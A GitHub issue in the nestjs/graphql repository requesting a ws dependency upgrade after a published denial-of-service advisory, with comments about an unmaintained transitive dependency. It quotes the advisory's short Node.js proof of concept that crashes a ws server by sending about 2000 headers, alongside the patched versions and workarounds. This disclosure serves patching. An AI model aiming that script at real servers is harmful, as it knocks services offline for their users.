nestjs / graphql

GraphQL (TypeScript) module for Nest framework (node.js) 🍷
https://docs.nestjs.com/graphql/quick-start
MIT License
1.45k stars 391 forks source link

Upgrade WS dependency - ws affected by a DoS when handling a request with many HTTP headers #3215

Closed ojengwa closed 2 months ago

ojengwa commented 2 months ago

Is there an existing issue for this?

Current behavior

Description Impact A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept const http = require('http'); const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0;

for (let i = 0; i < chars.length; i++) { if (count === 2000) break;

for (let j = 0; j < chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}

headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13';

const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port });

request.end(); }); Patches The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. Set server.maxHeadersCount to 0 so that no limit is applied. Credits The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References https://github.com/websockets/ws/issues/2230 https://github.com/websockets/ws/pull/2231 References GHSA-3h5v-q93c-6h6q https://github.com/websockets/ws/issues/2230 https://github.com/websockets/ws/pull/2231 https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63

Minimum reproduction code

https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Steps to reproduce

No response

Expected behavior

Fix a major vulnerability.

Package version

12.1.1

Graphql version

graphql: 12.1.1

NestJS version

10.3.8

Node.js version

No response

In which operating systems have you tested?

Other

No response

zhangyi921 commented 2 months ago

Waiting for this to be fixed.

sawilde commented 2 months ago

the @nestjs/graphql package has a dependancy on subscriptions-transport-ws which in turn has a dependancy on ws 5,6,7 and so we are still exposed to the reported ws vulnerability

image

This package however is no longer maintained and it is recommended to switch to graphql-ws instead

image

kamilmysliwiec commented 2 months ago

https://github.com/nestjs/graphql/pull/3217